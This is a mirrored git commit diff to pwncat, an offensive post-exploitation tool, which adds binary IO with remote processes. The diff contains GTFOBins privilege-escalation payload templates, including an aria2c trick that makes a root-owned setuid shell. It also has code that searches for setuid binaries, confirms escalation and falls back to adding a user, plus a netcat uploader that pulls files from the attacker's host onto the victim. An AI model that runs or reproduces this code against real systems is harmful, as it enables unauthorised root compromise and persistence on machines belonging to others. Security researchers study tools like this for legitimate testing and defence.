mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added ability for bidirectional binary IO w/ remote process
This commit is contained in:
parent
a2195d6575
commit
f173e22d16
@ -7,7 +7,7 @@
|
||||
"name": "cp",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -16,10 +16,10 @@
|
||||
"script": "{command}",
|
||||
"suid": ["-p"]
|
||||
},
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
"read_file": "{path} -p -c \"{cat} {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
},
|
||||
@ -42,7 +42,7 @@
|
||||
{
|
||||
"name": "aria2c",
|
||||
"shell": {
|
||||
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
|
||||
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"{chown} root:root $SHELL; {chmod} +sx $SHELL;\" > $TF;{chmod} +x $TF; {command}; sleep 1; $SHELL -p",
|
||||
"need": ["--on-download-error=$TF","http://x"]
|
||||
}
|
||||
},
|
||||
@ -55,7 +55,7 @@
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
},
|
||||
@ -78,7 +78,7 @@
|
||||
"read_file": "{path} '//' {lfile}",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -112,17 +112,6 @@
|
||||
"exit": "exit\nq\n"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "busybox",
|
||||
"shell": {
|
||||
"script": "{command} sh"
|
||||
},
|
||||
"read_file": "{path} -c \"cat {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "byebug",
|
||||
"shell": {
|
||||
@ -132,10 +121,10 @@
|
||||
"-q"
|
||||
]
|
||||
},
|
||||
"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} --no-stop -q $TF",
|
||||
"read_file": "TF=$(mktemp);echo 'system(\"{cat} {lfile}\")' > $TF;{command} --no-stop -q $TF",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
|
||||
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | {base64} -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -144,10 +133,10 @@
|
||||
"script": "{command}",
|
||||
"suid": ["-p"]
|
||||
},
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
"read_file": "{path} -p -c \"{cat} {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
}
|
||||
|
@ -10,13 +10,22 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
is closed, it will restore the state of the terminal (w/ `reset`). No further
|
||||
reading or writing will be allowed. """
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", delim: bytes, binary: bool):
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", mode: str, delim: bytes, binary: bool
|
||||
):
|
||||
self.pty = pty
|
||||
self.delim = delim
|
||||
self.eof = 0
|
||||
self.next_eof = False
|
||||
self.binary = binary
|
||||
self.split_eof = b""
|
||||
self.mode = mode
|
||||
|
||||
def readable(self) -> bool:
|
||||
return True
|
||||
|
||||
def writable(self) -> bool:
|
||||
return "w" in self.mode
|
||||
|
||||
def on_eof(self):
|
||||
if self.eof:
|
||||
@ -25,26 +34,30 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
# Set eof flag
|
||||
self.eof = 1
|
||||
|
||||
if self.binary:
|
||||
# Reset the terminal
|
||||
self.pty.reset()
|
||||
# Send a bare echo, and read all data to ensure we don't clobber the
|
||||
# output of the user's terminal
|
||||
self.pty.run("echo")
|
||||
# Reset the terminal
|
||||
self.pty.restore_remote()
|
||||
# Send a bare echo, and read all data to ensure we don't clobber the
|
||||
# output of the user's terminal
|
||||
self.pty.run("echo")
|
||||
|
||||
def close(self):
|
||||
if self.eof:
|
||||
return
|
||||
|
||||
# Kill the last job. This should be us.
|
||||
self.pty.run("kill -9 %%", wait=False)
|
||||
# Kill the last job. This should be us. We can only run as a job when we
|
||||
# don't request write support, because stdin is taken away from the
|
||||
# subprocess. This is dangerous, because we have no way to kill the new
|
||||
# process if it misbehaves. Use "w" carefully with known good
|
||||
# parameters.
|
||||
if "w" not in self.mode:
|
||||
self.pty.run("kill -9 %%", wait=False)
|
||||
|
||||
# Cleanup
|
||||
self.on_eof()
|
||||
|
||||
def readinto(self, b: bytearray):
|
||||
if self.eof:
|
||||
return 0
|
||||
return None
|
||||
|
||||
if isinstance(b, memoryview):
|
||||
obj = b.obj
|
||||
@ -52,7 +65,11 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
obj = b
|
||||
|
||||
# Receive the data
|
||||
n = self.pty.client.recv_into(b)
|
||||
try:
|
||||
n = self.pty.client.recv_into(b)
|
||||
except BlockingIOError:
|
||||
return 0
|
||||
obj = bytes(b)
|
||||
|
||||
# Check for EOF
|
||||
if self.delim in obj:
|
||||
@ -61,7 +78,7 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
return n
|
||||
else:
|
||||
# Check for EOF split across blocks
|
||||
for i in range(1, len(self.delim) - 1):
|
||||
for i in range(1, len(self.delim)):
|
||||
# See if a piece of the delimeter is at the end of this block
|
||||
piece = self.delim[:i]
|
||||
if bytes(b[-i:]) == piece:
|
||||
@ -91,4 +108,6 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
pass
|
||||
|
||||
def write(self, data: bytes):
|
||||
if self.eof:
|
||||
raise EOFError
|
||||
return self.pty.client.send(data)
|
||||
|
@ -10,6 +10,10 @@ import os
|
||||
from pwncat.privesc import Capability
|
||||
|
||||
|
||||
class MissingBinary(Exception):
|
||||
""" The GTFObin method you attempted depends on a missing binary """
|
||||
|
||||
|
||||
class SudoNotPossible(Exception):
|
||||
""" Running the given binary to get a sudo shell is not possible """
|
||||
|
||||
@ -26,11 +30,12 @@ class Binary:
|
||||
|
||||
_binaries: List[Dict[str, Any]] = []
|
||||
|
||||
def __init__(self, path: str, data: Dict[str, Any]):
|
||||
def __init__(self, path: str, data: Dict[str, Any], which):
|
||||
""" build a new binary from a dictionary of data. The data is taken from
|
||||
the GTFOBins JSON database """
|
||||
self.data = data
|
||||
self.path = path
|
||||
self.which = which
|
||||
|
||||
self.capabilities = 0
|
||||
if self.has_read_file:
|
||||
@ -44,6 +49,26 @@ class Binary:
|
||||
if self.has_shell:
|
||||
self.capabilities |= Capability.SUDO
|
||||
|
||||
def resolve_binaries(self, target: str, **args):
|
||||
""" resolve any missing binaries with the self.which method """
|
||||
|
||||
while True:
|
||||
try:
|
||||
target = target.format(**args)
|
||||
break
|
||||
except KeyError as exc:
|
||||
# The keyerror has the name in quotes for some reason
|
||||
key = shlex.split(str(exc))[0]
|
||||
# Find the remote binary that matches
|
||||
value = self.which(key, quote=True)
|
||||
# Whoops! No dependancy
|
||||
if value is None:
|
||||
raise MissingBinary(key)
|
||||
# Next time, we have it
|
||||
args[key] = value
|
||||
|
||||
return target
|
||||
|
||||
def shell(
|
||||
self,
|
||||
shell_path: str,
|
||||
@ -61,7 +86,7 @@ class Binary:
|
||||
return None
|
||||
|
||||
if isinstance(self.data["shell"], str):
|
||||
script = self.data["shell"].format(shell=shell_path, command="{command}")
|
||||
script = self.data["shell"]
|
||||
args = []
|
||||
suid_args = []
|
||||
exit = "exit"
|
||||
@ -70,9 +95,10 @@ class Binary:
|
||||
script = self.data["shell"].get("script", "{command}")
|
||||
suid_args = self.data["shell"].get("suid", [])
|
||||
args = [
|
||||
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||
self.resolve_binaries(n, shell=shell_path)
|
||||
for n in self.data["shell"].get("need", [])
|
||||
]
|
||||
exit = self.data["shell"].get("exit", "exit")
|
||||
exit = self.resolve_binaries(self.data["shell"].get("exit", "exit"))
|
||||
input = self.data["shell"].get("input", "")
|
||||
|
||||
if suid:
|
||||
@ -88,7 +114,7 @@ class Binary:
|
||||
command = sudo_prefix + " " + command
|
||||
|
||||
return (
|
||||
script.format(command=command, shell=shell_path),
|
||||
self.resolve_binaries(script, command=command, shell=shell_path),
|
||||
input.format(shell=shlex.quote(shell_path)),
|
||||
exit,
|
||||
)
|
||||
@ -96,7 +122,11 @@ class Binary:
|
||||
@property
|
||||
def has_shell(self) -> bool:
|
||||
""" Check if this binary has a shell method """
|
||||
return "shell" in self.data
|
||||
try:
|
||||
result = self.shell("test")
|
||||
except MissingBinary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
def can_sudo(self, command: str, shell_path: str) -> List[str]:
|
||||
""" Checks if this command can be leveraged for a shell with sudo. The
|
||||
@ -109,7 +139,7 @@ class Binary:
|
||||
* Parameters match exactly
|
||||
"""
|
||||
|
||||
if not self.has_shell:
|
||||
if not "shell" in self.data:
|
||||
# We need to be able to run a shell
|
||||
raise SudoNotPossible
|
||||
|
||||
@ -124,12 +154,16 @@ class Binary:
|
||||
has_wildcard = True
|
||||
|
||||
if isinstance(self.data["shell"], str):
|
||||
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
|
||||
need = [
|
||||
self.resolve_binaries(n, shell=shell_path)
|
||||
for n in shlex.split(self.data["shell"])
|
||||
]
|
||||
restricted = []
|
||||
else:
|
||||
# Needed and restricted parameters
|
||||
need = [
|
||||
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||
self.resolve_binaries(n, shell=shell_path)
|
||||
for n in self.data["shell"].get("need", [])
|
||||
]
|
||||
restricted = self.data["shell"].get("restricted", [])
|
||||
|
||||
@ -220,16 +254,23 @@ class Binary:
|
||||
if "read_file" not in self.data:
|
||||
return None
|
||||
|
||||
path = quote(self.path)
|
||||
# path = quote(self.path)
|
||||
path = self.path
|
||||
if sudo_prefix:
|
||||
path = sudo_prefix + " " + path
|
||||
|
||||
return self.data["read_file"].format(path=path, lfile=quote(file_path))
|
||||
return self.resolve_binaries(
|
||||
self.data["read_file"], path=path, lfile=quote(file_path)
|
||||
)
|
||||
|
||||
@property
|
||||
def has_read_file(self):
|
||||
""" Check if this binary has a read_file capability """
|
||||
return "read_file" in self.data
|
||||
try:
|
||||
result = self.read_file("test")
|
||||
except MissingBinary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
|
||||
""" Build a payload to write the specified data into the file """
|
||||
@ -237,7 +278,8 @@ class Binary:
|
||||
if "write_file" not in self.data:
|
||||
return None
|
||||
|
||||
path = quote(self.path)
|
||||
# path = quote(self.path)
|
||||
path = self.path
|
||||
if sudo_prefix:
|
||||
path = sudo_prefix + " " + path
|
||||
|
||||
@ -253,14 +295,21 @@ class Binary:
|
||||
"{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}"
|
||||
)
|
||||
|
||||
return self.data["write_file"]["payload"].format(
|
||||
path=path, lfile=quote(file_path), data=quote(data.decode("utf-8")),
|
||||
return self.resolve_binaries(
|
||||
self.data["write_file"]["payload"],
|
||||
path=path,
|
||||
lfile=quote(file_path),
|
||||
data=quote(data.decode("utf-8")),
|
||||
)
|
||||
|
||||
@property
|
||||
def has_write_file(self):
|
||||
""" Check if this binary has a write_file capability """
|
||||
return "write_file" in self.data
|
||||
try:
|
||||
result = self.write_file("test", "test")
|
||||
except MissingBinary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
@property
|
||||
def is_safe(self):
|
||||
@ -273,14 +322,18 @@ class Binary:
|
||||
if "command" not in self.data:
|
||||
return None
|
||||
|
||||
return self.data["command"].format(
|
||||
path=quote(self.path), command=quote(command)
|
||||
return self.resolve_binaries(
|
||||
self.data["command"], path=self.path, command=quote(command)
|
||||
)
|
||||
|
||||
@property
|
||||
def has_command(self):
|
||||
""" Check if this binary has a command capability """
|
||||
return "command" in self.data
|
||||
try:
|
||||
result = self.command("test")
|
||||
except MissingBinary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
@classmethod
|
||||
def load(cls, gtfo_path: str):
|
||||
@ -288,7 +341,7 @@ class Binary:
|
||||
cls._binaries = json.load(filp)
|
||||
|
||||
@classmethod
|
||||
def find(cls, path: str = None, name: str = None,) -> "Binary":
|
||||
def find(cls, which: Callable, path: str = None, name: str = None) -> "Binary":
|
||||
""" Locate the given gtfobin and return the Binary object. If name is
|
||||
not given, it is assumed to be the basename of the path. """
|
||||
|
||||
@ -297,7 +350,7 @@ class Binary:
|
||||
|
||||
for binary in cls._binaries:
|
||||
if binary["name"] == name:
|
||||
return Binary(path, binary)
|
||||
return Binary(path, binary, which)
|
||||
|
||||
return None
|
||||
|
||||
@ -312,11 +365,11 @@ class Binary:
|
||||
not given, it is assumed to be the basename of the path. """
|
||||
|
||||
for data in cls._binaries:
|
||||
path = which(data["name"])
|
||||
path = which(data["name"], quote=True)
|
||||
if path is None:
|
||||
continue
|
||||
|
||||
binary = Binary(path, data)
|
||||
binary = Binary(path, data, which)
|
||||
if not binary.is_safe and safe:
|
||||
continue
|
||||
if (binary.capabilities & capability) == 0:
|
||||
|
@ -275,15 +275,33 @@ class Finder:
|
||||
|
||||
util.progress(f"attempting escalation to {technique}")
|
||||
|
||||
shlvl = self.pty.getenv("SHLVL")
|
||||
|
||||
if (technique.capabilities & Capability.SHELL) > 0:
|
||||
try:
|
||||
# Attempt our basic, known technique
|
||||
return technique.method.execute(technique)
|
||||
exit_script = technique.method.execute(technique)
|
||||
|
||||
# Reset the terminal to ensure we are stable
|
||||
self.pty.reset()
|
||||
|
||||
# Check that we actually succeeded
|
||||
if self.pty.whoami() == technique.user:
|
||||
return exit_script
|
||||
|
||||
# Check if we ended up in a sub-shell without escalating
|
||||
if self.pty.getenv("SHLVL") != shlvl:
|
||||
# Get out of this subshell. We don't need it
|
||||
self.pty.process(exit_script, delim=False)
|
||||
self.pty.reset()
|
||||
|
||||
# The privesc didn't work, but didn't throw an exception.
|
||||
# Continue on as if it hadn't worked.
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
# We can't privilege escalate with this technique, but we may be able
|
||||
# to add a user via file write.
|
||||
# We can't privilege escalate directly to a shell with this technique,
|
||||
# but we may be able to add a user via file write.
|
||||
if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root":
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
|
@ -37,17 +37,17 @@ class SetuidMethod(Method):
|
||||
self.users_searched.append(current_user)
|
||||
|
||||
# Spawn a find command to locate the setuid binaries
|
||||
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
|
||||
files = []
|
||||
|
||||
while True:
|
||||
path = self.pty.recvuntil(b"\n").strip()
|
||||
with self.pty.subprocess(
|
||||
"find / -perm -4000 -print 2>/dev/null", mode="r"
|
||||
) as stream:
|
||||
util.progress("searching for setuid binaries")
|
||||
for path in stream:
|
||||
path = path.strip()
|
||||
util.progress(f"searching for setuid binaries: {path}")
|
||||
files.append(path)
|
||||
|
||||
if delim in path:
|
||||
break
|
||||
|
||||
files.append(path.decode("utf-8"))
|
||||
util.success("searching for setuid binaries: complete", overlay=True)
|
||||
|
||||
for path in files:
|
||||
user = (
|
||||
@ -70,7 +70,7 @@ class SetuidMethod(Method):
|
||||
known_techniques = []
|
||||
for user, paths in self.suid_paths.items():
|
||||
for path in paths:
|
||||
binary = gtfobins.Binary.find(path)
|
||||
binary = gtfobins.Binary.find(self.pty.which, path=path)
|
||||
if binary is not None:
|
||||
if (capability & binary.capabilities) == 0:
|
||||
continue
|
||||
|
@ -16,6 +16,7 @@ from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
||||
from prompt_toolkit.lexers import PygmentsLexer
|
||||
from functools import wraps
|
||||
import subprocess
|
||||
import traceback
|
||||
import requests
|
||||
import tempfile
|
||||
import logging
|
||||
@ -28,6 +29,7 @@ import shlex
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
import io
|
||||
|
||||
from pwncat import util
|
||||
from pwncat import downloader, uploader, privesc
|
||||
@ -614,7 +616,8 @@ class PtyHandler:
|
||||
|
||||
# Call the method
|
||||
method(argv[1:])
|
||||
except KeyboardInterrupt:
|
||||
except KeyboardInterrupt as exc:
|
||||
traceback.print_exc()
|
||||
continue
|
||||
|
||||
@with_parser
|
||||
@ -1027,7 +1030,7 @@ class PtyHandler:
|
||||
|
||||
return b"_PWNCAT_ENDDELIM_"
|
||||
|
||||
def subprocess(self, cmd) -> RemoteBinaryPipe:
|
||||
def subprocess(self, cmd, mode="rb") -> RemoteBinaryPipe:
|
||||
""" Create an asynchronous child on the remote end and return a
|
||||
file-like object which can communicate with it's standard output. The
|
||||
remote terminal is placed in raw mode with no-echo first, and the
|
||||
@ -1043,6 +1046,10 @@ class PtyHandler:
|
||||
if isinstance(cmd, list):
|
||||
cmd = shlex.join(cmd)
|
||||
|
||||
for c in mode:
|
||||
if c not in "rwb":
|
||||
raise ValueError("mode must only contain 'r', 'w' and 'b'")
|
||||
|
||||
sdelim = "_PWNCAT_STARTDELIM_"
|
||||
edelim = "_PWNCAT_ENDDELIM_"
|
||||
|
||||
@ -1055,9 +1062,14 @@ class PtyHandler:
|
||||
command.append("set +m")
|
||||
# This is gross, but it allows us to recieve stderr and stdout, while
|
||||
# ignoring the job control start message.
|
||||
command.append(
|
||||
f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} 2>&1 & }} 2>/dev/null"
|
||||
)
|
||||
if "w" not in mode:
|
||||
command.append(
|
||||
f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} & }} 2>/dev/null"
|
||||
)
|
||||
else:
|
||||
# This is dangerous. We are in raw mode, and if the process never
|
||||
# ends and doesn't provide a way to exit, then we are stuck.
|
||||
command.append(f"echo {sdelim}; {cmd}; echo {edelim}")
|
||||
# Re-enable normal job control in bash
|
||||
command.append("set -m")
|
||||
|
||||
@ -1073,13 +1085,30 @@ class PtyHandler:
|
||||
self.recvuntil(sdelim)
|
||||
self.recvuntil("\n")
|
||||
|
||||
return RemoteBinaryPipe(self, edelim.encode("utf-8"), True)
|
||||
pipe = RemoteBinaryPipe(self, mode, edelim.encode("utf-8"), True)
|
||||
|
||||
if "b" not in mode:
|
||||
if "w" in mode:
|
||||
pipe = io.BufferedRWPair(pipe, pipe)
|
||||
pipe = io.TextIOWrapper(pipe)
|
||||
else:
|
||||
pipe = io.TextIOWrapper(io.BufferedReader(pipe))
|
||||
|
||||
return pipe
|
||||
|
||||
def raw(self, echo: bool = False):
|
||||
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
|
||||
self.run("stty raw -echo", wait=False)
|
||||
self.has_cr = False
|
||||
self.has_echo = False
|
||||
|
||||
def restore_remote(self):
|
||||
self.run(f"stty {self.stty_saved}", wait=False)
|
||||
self.has_cr = True
|
||||
self.has_echo = True
|
||||
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
|
||||
self.run(f"tput rmam")
|
||||
|
||||
def reset(self):
|
||||
self.run("reset", wait=False)
|
||||
self.has_cr = True
|
||||
@ -1203,6 +1232,11 @@ class PtyHandler:
|
||||
result = self.run("whoami")
|
||||
return result.strip().decode("utf-8")
|
||||
|
||||
def getenv(self, name: str):
|
||||
""" Get the value of the given environment variable on the remote host
|
||||
"""
|
||||
return self.run(f"echo -n ${{{name}}}").decode("utf-8")
|
||||
|
||||
@property
|
||||
def id(self):
|
||||
|
||||
|
@ -15,7 +15,7 @@ class NetcatUploader(RawUploader):
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc")
|
||||
nc = self.pty.which("nc", quote=True)
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False)
|
||||
|
@ -20,34 +20,19 @@ class RawShellUploader(Uploader):
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
file_sz = os.path.getsize(self.local_path) - 1
|
||||
file_sz = os.path.getsize(self.local_path)
|
||||
dd = self.pty.which("dd")
|
||||
|
||||
# Put the remote terminal in raw mode
|
||||
self.pty.raw()
|
||||
|
||||
self.pty.process(
|
||||
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
|
||||
)
|
||||
|
||||
pty = self.pty
|
||||
|
||||
class SocketWrapper:
|
||||
def write(self, data):
|
||||
try:
|
||||
n = pty.client.send(data)
|
||||
except socket.error:
|
||||
return 0
|
||||
return n
|
||||
|
||||
try:
|
||||
with open(self.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
|
||||
finally:
|
||||
self.on_progress(0, -1)
|
||||
with self.pty.subprocess(
|
||||
f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb"
|
||||
) as stream:
|
||||
try:
|
||||
with open(self.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, stream, self.on_progress)
|
||||
finally:
|
||||
self.on_progress(0, -1)
|
||||
|
||||
# Get back to a terminal
|
||||
self.pty.client.send(util.CTRL_C)
|
||||
self.pty.reset()
|
||||
|
||||
return False
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user